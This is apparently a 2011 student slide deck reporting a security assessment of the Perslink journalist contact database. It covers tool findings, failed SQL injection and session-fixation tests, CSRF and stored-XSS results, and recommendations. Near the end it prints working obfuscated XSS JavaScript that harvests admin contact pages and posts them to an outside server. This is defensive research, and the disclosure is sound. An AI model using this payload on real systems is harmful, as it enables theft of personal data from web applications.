

Perslink Security

Eleonora Petridou
Pascal Cuylaerts

System And Network Engineering
University of Amsterdam

June 30, 2011



Outline

- Research question
- About Perslink
- Approach
- Manual inspection
- Automated tests
- Vulnerabilities
- Recommendations
- Conclusion
- Demo

Please ask your questions at the end of the presentation.

Research Question

Can the security of the Perslink web application be compromised?

The three following sub questions were the guideline of our research:

- Are there any security holes in the web application?
- Can these flaws be exploited to expose sensitive information?
- What countermeasures can the developers take against the discovered flaws?

Perslink Main Page



 Onthoud mij

|| Home || FAQ || Gegevens toevoegen || Prikbord || MyNews || Contact || Terug ||

Home

Perslink is een intranet voor journalisten en programmamakers. Het bevat de gegevens van 20.000 organisaties en zo'n 35.000 bestuurders, directeuren, politici, bekende Nederlanders, opinieleiders en vele anderen. Indien u wilt controleren of u en/of uw organisatie in onze database bekend is, kunt u daar [hier](#) naar zoeken. Gegevens in perslink mogen uitsluitend door journalisten en uitsluitend voor journalistieke doeleinden worden gebruikt. Uw gegevens worden goed beschermd.

Naast de interne zoekfunctie, is ook een externe web-zoekfunctie ontwikkeld. Deze geavanceerde filter- en zoektechnologie maakt het mogelijk om in korte tijd vele duizenden pagina's te doorzoeken op contactgegevens als telefoonnummers en emailadressen. Deze technologie is ontwikkeld door [Information Retrieval Programs](#).

Doel

Belangrijkste doelstelling van Perslink is om journalisten en programmamakers de kortste weg naar de juiste organisaties en woordvoerders te wijzen. Tweede doelstelling is de bevordering van de zichtbaarheid in de media van deskundigen met een niet-Nederlandse culturele achtergrond, alsook die van deskundige vrouwen.

Geschiedenis

Perslink is een voortzetting van de papieren Mercuriusgids en bestaat al sinds 1990. Perslink is in de periode 2009-2011 volledig vernieuwd. Belangrijkste verandering is dat journalisten en programmamakers de mogelijkheid hebben om de enorme hoeveelheid gegevens op internet, snel te filteren op (bijvoorbeeld) contactgegevens, zoals telefoonnummers, email-adressen en dergelijke.

Organisaties

Perslink is tot stand gekomen dankzij en groot aantal organisaties, zoals de [Nederlandse Publieke Omroep](#), [NOS](#), [Mira Media](#), [NVJ](#) en [IRP](#). De gegevens van personen in Perslink worden regelmatig door een redactie gecontroleerd. M Met de gegevens wordt zorgvuldig omgegaan.

Nederland

15:30 Amsterdam houdt moslimbijb...
 15:30 Trichet: Geen mening over Fr...
 15:30 VS steunen kandidatuur Lag...
 15:30 KNMI krijgt nieuwe supercom...
 15:30 Verhagen: Onbehagen Nede...

Wereld

15:28 Mit sanftem Druck zum Examen
 15:25 Hamburg Mudflats Added to ...
 15:21 Skrotfara — rymdstation evak...
 15:21 Fårre vill sänka alkoholskatt
 15:21 Bond Girl Michelle Yeoh ban...

Contact Search

Gebruiker Onthoud mij [Home](#) || [FAQ](#) || [Gegevens toevoegen](#) || [Pribord](#) || [MyNews](#) || [Contact](#) || [Terug](#) ||

Organisatie:	<input type="text" value="exact"/>	<input type="text"/>
Trefwoord:	<input type="text" value="exact"/>	<input type="text"/>
Persoon:	<input type="text" value="begint met"/>	<input type="text" value="jo"/> <input type="text"/> <input type="text"/>
	<input type="button" value="Zoeken"/>	

Resultaten (41)

Jonas Schmitz
Jonas Schmidt
Jonas Lang
Jonas Bauer
Jonas Meyer
Jonas Hofmann
Jonas Scholz
Jonas Weiß
Jonas Schäfer
Jonas Schmitz

41 items found, displaying 1 to 10.

1, 2, 3, 4, 5 Volgende Laatste

New Contact



 Onthoud mij

|| Home || FAQ || Gegevens toevoegen || Prikbord || MyNews || Contact || Terug ||

Gegevens Toevoegen

Op deze pagina kunt u uzelf (of iemand anders) toevoegen aan de Perslink database. Controleer echter eerst of u er al in voorkomt. Na invoering zijn deze gegevens te raadplegen door journalistiek Nederland. Let op: Door dit formulier in te vullen krijgt u geen toegang tot de database. Voor meer informatie leest u hier verder.

Met enige regelmaat zal u gevraagd worden de gegevens te controleren. Als u zelf wijzigingen wilt melden dan kunt u een mailtje sturen naar info@perslink.nl. De redactie van Perslink besluit over opname van uw gegevens: ze moeten voor journalisten relevant zijn en uw bereikbaarheidsgegevens moeten voldoende zijn ingevuld.

Vul hier de websites in van de organisatie(s) waar u aan verbonden bent. Als deze organisatie(s) nog niet in de database aanwezig is, krijgt u straks de gelegenheid de organisatie(s) toe te voegen. Vul hieronder dus geen algemene organisatiegegevens in.

U bent niet verplicht alle gegevens in te vullen. Vooral telefonische bereikbaarheid is van groot belang.

Website organisatie 1	<input type="text"/>
	<input text"="" type="button" value="?</input></td> </tr> <tr> <td>Website organisatie 2</td> <td><input type="/>
	<input data-bbox="319 733 333 743" type="button" value="?"/>
Website organisatie 3	<input type="text"/>
	<input data-bbox="319 788 333 798" type="button" value="?"/>
Naamgegevens	
Voornaam:	<input type="text"/>
	<input data-bbox="319 871 333 881" type="button" value="?"/>
Initialen:	<input type="text"/>
	<input data-bbox="319 926 333 936" type="button" value="?"/>
Tussenvoegsel:	<input type="text"/>
	<input data-bbox="319 981 333 991" type="button" value="?"/>
Achternaam:	<input type="text"/>
	<input data-bbox="319 1025 333 1036" type="button" value="?"/>

Nederland

15:33 107 miljoen euro voor extra fl...
 15:33 Tour de france 2011: de podi...
 15:31 Gaza-activisten verblind door...
 15:30 Amsterdam houdt moslimbije...
 15:30 Trichet: Geen mening over Fr...

Wereld

15:33 Ein Trick
 15:28 Mit sanftem Druck zum Examen
 15:25 Hamburg Mudflats Added to ...
 15:21 Skrotfara — rymdstation evak...
 15:21 Färre vill sänka alkoholskatt

Bulletin Board



 Onthoud mij

|| [Home](#) || [FAQ](#) || [Gegevens toevoegen](#) || [Prikbord](#) || [MyNews](#) || [Contact](#) || [Terug](#) ||

Prikbord

Op dit digitale prikbord kunt u boodschappen of mededelingen plaatsen voor andere Perslink gebruikers. De redactie van Perslink monitort dit prikbord. Komt u onregelmatigheden tegen, [meldt het ons](#).

[Nieuw bericht toevoegen](#)

Titel	Datum
Niets gevonden om weer te geven.	

Nederland

15:33 107 miljoen euro voor extra fi...
 15:33 Tour de france 2011: de podi...
 15:31 Gaza-activisten verblind door...
 15:30 Amsterdam houdt moslimbije...
 15:30 Trichet: Geen mening over Fr...

Wereld

15:33 Ein Trick
 15:28 Mit sanftem Druck zum Examen
 15:25 Hamburg Mudflats Added to ...
 15:21 Skrotfara — rymdstation evak...
 15:21 Färre vill sänka alkoholskatt

New Bulletin

Gebruiker ***** Onthoud mij [|| Home](#) [|| FAQ](#) [|| Gegevens toevoegen](#) [|| Prikbord](#) [|| MyNews](#) [|| Contact](#) [|| Terug ||](#)

Prikbord

[Nederland](#)[Wereld](#)

Plaats hieronder uw gegevens om een nieuw bericht aan het prikbord toe te voegen. Velden met een * dienen verplicht ingevoerd te worden. Ongepaste of reclame berichten of zullen worden verwijderd.

Nieuw bericht toevoegen

Naam: * Tonen in het berichtEmail: * Tonen in het berichtTelefoonnr: Tonen in het berichtWebsite: Titel: * Bericht: *

Bulletin Details



Gebruiker

Onthoud mij

|| Home || FAQ || Gegevens loevoegen || Prikbord || MyNews || Contact || ← Terug ||

Prikbord

Demo

demo

Gegevens plaatser

Website:

Aangemaakt op:

28-juni-2011

Search Engine



Welkom

MyNews | Uitloggen | Afsluiten

Nieuws aan | Extern zoeken uit

|| Zoeken || ← Terug || Mededelingen || Handleiding || Gegevens toevoegen || Prikbord || MyNews || Contact ||

Organisatie: begint met exact alles

Trefwoord: exact alles

Persoon: begint met exact alles Voornaam Achternaam

Zoeken:

Resultaten Perslink (41)

Jonas Bauer	-----
Jonas Bauer	-----
Jonas Bauer	-----
Jonas Braun	-----
Jonas Braun	-----
Jonas farmer	-----
Jonas farmer	-----
Jonas Hartmann	-----
Jonas Herrmann	-----
Jonas Hoffmann	-----
Jonas Hofmann	-----
Jonas Hofmann	-----
Jonas Huber	-----
Jonas Huber	-----

Contact Details



Welkom
 MyNews | Uitloggen | Afsluiten
 Nieuws aan | Extern zoeken uit

|| Zoeken || Terug || Mededelingen || Handleiding || Gegevens toevoegen || Pribbord || MyNews || Contact ||

Huidige zoekopdracht:

Persoon: **Jo**

Trefwoord:

Organisatie:

Zoeken:

Internet
Google zoeken

Filter
contactdata

Advanced
met profiel



Jonas Bauer -

Bereikbaarheid

Afd:

Direct:

Fax:

Werk:

Extra:

Skype:

LinkedIn:

Twitter:

Chat:

Facebook:

Hyves:

Opmerking

Overige informatie

Geboortedatum:

Administration panel main page

🔒 security.irp.nl/perslink/12345678900/index.web

Takenlijst

Lege zoek
resultaten

Contacten

Toevoegen +29

Aanmeldingen

Foutmeldingen +29

Organisaties

Toevoegen +29

Aanmeldingen

Foutmeldingen +29

Prikbord +29

Toevoegen

Reacties

Gebruikers

Toevoegen

Op slot

Ingelogd

Groepen

Toevoegen

Nieuws

Toevoegen

Statistieken



Statistieken NPO

Statistieken Jo

Er zijn 29 nieuwe [contact](#) aanmeldingen geplaatst.
Er zijn 5 nieuwe [organisatie](#) aanmeldingen geplaatst.
Er zijn 16 nieuwe [berichten](#) op het prikbord geplaatst.
Er zijn 1 nieuwe [foutmeldingen](#) geplaatst bij contact personen.
Er zijn 0 nieuwe [foutmeldingen](#) geplaatst bij organisaties.

Full Contact Profile

security.irp.nl/perslink/12345678900/contact/1/edit.web

Publicaties/projecten	
Media-ervaring	
Overige informatie	
Talen	
Geboortedatum(dd-mm-jjjj)	
Geboorteplaats	
Geboorteland	
Adressen 	Adres 1: 
	Straat van leeuwenhoekstraat
	Huisnummer 2
	Postcode 1221ag
	Plaats Hilversum
	Gemeente Hilversum
	Provincie Noord Holland
	Land Nederland
Bron	
Prioriteit	1 ▼
Controlelevel	
Archief	<input type="checkbox"/>
Annuleren	Opslaan

IP range settings

security.irp.nl/perslink/12345678900/groupPL/list.web

Takenlijst	
Lege zoek resultaten	
Contacten	
Toevoegen	
Aanmeldingen	
Foutmeldingen	
Organisaties	
Toevoegen	
Aanmeldingen	
Foutmeldingen	
Prikbord	
Toevoegen	
Reacties	
Gebruikers	
Toevoegen	
Op slot	
Ingelogd	
Groepen	
Toevoegen	
Nieuws	
Toevoegen	
Statistieken	
Statistieken NPO	
Statistieken Jo	

Groepen		
Naam <input type="text"/>		
Reset Zoeken		
Resultaten		
Naam	Ipadressen	Acties
Administrator	86.93.229.123 145.92.17.93 80.56.208.125 0.0.0.0-255.255.255.255 127.0.0.1	
NOS	0.0.0.0-255.255.255.255	
NOS Sport	192.168.1.1	
NOVA	192.168.1.1	
test	86.93.229.123 80.56.208.125 0.0.0.0-255.255.255.255 127.0.0.1	
5 gevonden, alles weergegeven.		

Approach

- Attack the web application without any inside knowledge
- Log in as a legitimate user and attempt to abuse the application
- Try to find vulnerabilities in the administrator panel

Manual inspection

- No HTTPS
- Three cookies are used
 - JSESSIONID
 - Perslink_Remember_Me_Cookie
 - perslink_computer_cookie
- Guessing login
 - User account locked after three failed attempts
 - No error message for invalid usernames
 - Double-login lock
- SQL injection fails
- Cross Site Scripting not possible → Inserted code is escaped

Automated tools

Tool	Language	Openness	Platform
Skipfish	C	open source	Linux-only
Arachni	Ruby	open source	Linux-only
Paros	Java	freeware	cross-platform
W3af	Python	open source	cross-platform
Netsparker CE	.NET	freeware	Windows-only

Table: Tools used to unveil the vulnerabilities of Perslink

Results (1/2)

■ Skipfish

- jQuery JavaScript library
- Direct Web Remoting (DWR)
 - Probably Java back-end
- CSRF possible
 - /clipboard/create.web
 - /request/contact.web
 - /request/organisation.web
 - /perslink_check.web

■ Paros

- Predictable querystring in search results
 - /perslink_check.web?organisationType=CONTAINS_ALL&organisation=&keywordType=CONTAINS_ALL&keyword=&nameType=STARTS_WITH&name=jo&prefix=&surname=
- Auto-completion of login forms

Results (2/2)

- w3af
 - CSRF possible for `/j_spring_security_check`
 - Tomcat server
- Netsparker
 - Perslink_Remember_Me_Cookie & perslink_computer_cookie are not HTTPOnly

SQL injection

Tests

- Manual/Automated tests
- Specialized tests using sqlmap
- No successful injection

Implemented protection methods

- Hibernate, queries with named parameters
- Escape special characters
- No error information leakage

SQL injection

Tests

- Manual/Automated tests
- Specialized tests using sqlmap
- No successful injection

Implemented protection methods

- Hibernate, queries with named parameters
- Escape special characters
- No error information leakage

Session fixation attack

Test

- URL with fixed session ID sent to victim
- Victim logged in to Perslink following the given link
- Attempt to steal data through the victim's session failed

Implemented protection methods

- New session ID is generated at every login
- The user can destroy the session and recreate it

Session fixation attack

Test

- URL with fixed session ID sent to victim
- Victim logged in to Perslink following the given link
- Attempt to steal data through the victim's session failed

Implemented protection methods

- New session ID is generated at every login
- The user can destroy the session and recreate it

Information storage issues

Issues

- User credentials stored in plain text
- Storing address details of the contacts
- User input is stored non-sanitized

Recommendations

- Hashing credentials before storing them
- Exclude the address details from the database
- Escape user input before putting it in the database

Information storage issues

Issues

- User credentials stored in plain text
- Storing address details of the contacts
- User input is stored non-sanitized

Recommendations

- Hashing credentials before storing them
- Exclude the address details from the database
- Escape user input before putting it in the database

Brute-forcing user login form

Issues

- Autocomplete functionality used to discover usernames by a malicious page

Implemented protection methods

- Locked after 3 failed login attempts
- Validation code sent to user's email address

Brute-forcing user login form

Issues

- Autocomplete functionality used to discover usernames by a malicious page

Implemented protection methods

- Locked after 3 failed login attempts
- Validation code sent to user's email address

Brute-forcing URL admin panel

- Admin panel is not linked by any other page
- Brute-forcing a possible URL is the only option
- Webroot tool tried all combinations for most common URL characters
 - [a-z][A-Z]
 - [0-9]
 - [!,#,,\$,?,/, \, =]
- Length unknown, 50 characters would produce 87.59×10^{90} combinations
- After 20 days, it was requesting four-character URLs

Brute-forcing admin login form

- Attacker is redirected to identical dummy page after one failed login
- Account disabled after three failed attempts on the real login page

Recommendations

Disable auto-complete functionality

Brute-forcing admin login form

- Attacker is redirected to identical dummy page after one failed login
- Account disabled after three failed attempts on the real login page

Recommendations

Disable auto-complete functionality

Cross Site Request Forgery

security.irp.nl/perslink/contact/827/details.web

PERS LINK

|| Zoeken || ← Terug || Mededelingen || Har

Huidige zoekopdracht:

Persoon: **Jo**

Trefwoord:

Organisatie:

Zoeken:

Internet
Google zoeken

Filter
contactdata

Advanced
met profiel



Jonas Bauer -

- Predictable URL
- Profiles can be downloaded directly
- Session ID of authenticated user needed
- Cookie stealing possible due to browser vulnerabilities

Cross Site Request Forgery - Exploit

- Lure a logged in user to a malicious website using an interesting message on the bulletin board
- Execute a client-side script (C) in the user's browser
 - C will steal his session ID by exploiting a browser vulnerability
 - C will pass the session ID to a server-side script (S) that will request the profile pages
 - S is not susceptible to the browser's same origin policy (SOP)
 - S can request the profiles across the different domains
- (demo later)

CSRF Mitigation

Implemented protection methods

- Email alert to administrators when the requests exceed a threshold

Recommendations

- Block user accounts with huge number of requests in a short timespan
- Avoid using the sequential user IDs to link to the contact detail pages
- Generate a new session ID for every request

Cross Site Scripting

Vulnerable page

- Reactions page in admin panel
- Reaction contains the title of the associated bulletin
- Title of bulletin not escaped before being displayed
- Reactions functionality was disabled

Exploit

- Script inserted in title of bulletins
- Input data stored in database non-sanitized
- A reaction on the bulletin is made
- Script executed when reactions are displayed

XSS - Injected Javascript in the bulletin titles

```
b=1;e=30;
i=document.createElement("textarea");
f=document.createElement("form");
i.name="C";
f.method="POST";
u="http://145.100.104.50/cgi-bin/dump.py"
f.action=u;
f.appendChild(i);
document.body.appendChild(f);
```

```
for(y=b;y!=e+1;y++){
    I=document.createElement("iframe");
    I.id=y;
    document.body.appendChild(I);
    f.target=y;
    U="../../../../contact/"+y+"/edit.web";
    R=new XMLHttpRequest();R.open("GET",U,false);
    R.send();
    i.value=R.responseText;
    f.submit();
}
```

```
=====
123456789012345678901234567890123456789012345678901234567890
<script></script>
=====
i=document.createElement("textarea");l='f';
f=document.createElement("form");b=1;e=30;
i.name="C";f.method="POST";l=l+'or(y=b;y!';
u="http://145.100.104.50/cgi-bin/dump.py";
f.action=u;f.appendChild(i);l=l+'e+1;y++';
document.body.appendChild(f);l=l+'}{I=doc';
l=l+'ument.createElement("iframe");I.id=y';
l=l+';document.body.appendChild(I);f.targ';
l=l+'et=y;U="../../../../contact/"+y+"/edit.web';
l=l+'";R=new XMLHttpRequest();R.open("GET';
l=l+'",U,false);R.send();i.value=R.respon';
l=l+'setText();f.submit();}';eval(l);
```

Conclusion (1/2)

- Perslink is well protected against SQL injection, login brute-forcing and session fixation
- User input is properly escaped on most of the pages
- Knowledge of the URL structure of the internal pages is crucial for the success of the attacks
- CSRF and XSS attacks were successful

Conclusion (2/2)

Recommendations

- Using HTTPS is mandatory
- Hashing user credentials before storage
- Escaping user input before storing it in the database would be more effective

Improvements already implemented

- Vulnerability at administration panel is fixed
- User is blocked after exceeding a threshold of requests per day

Demo

Demo time!

Questions?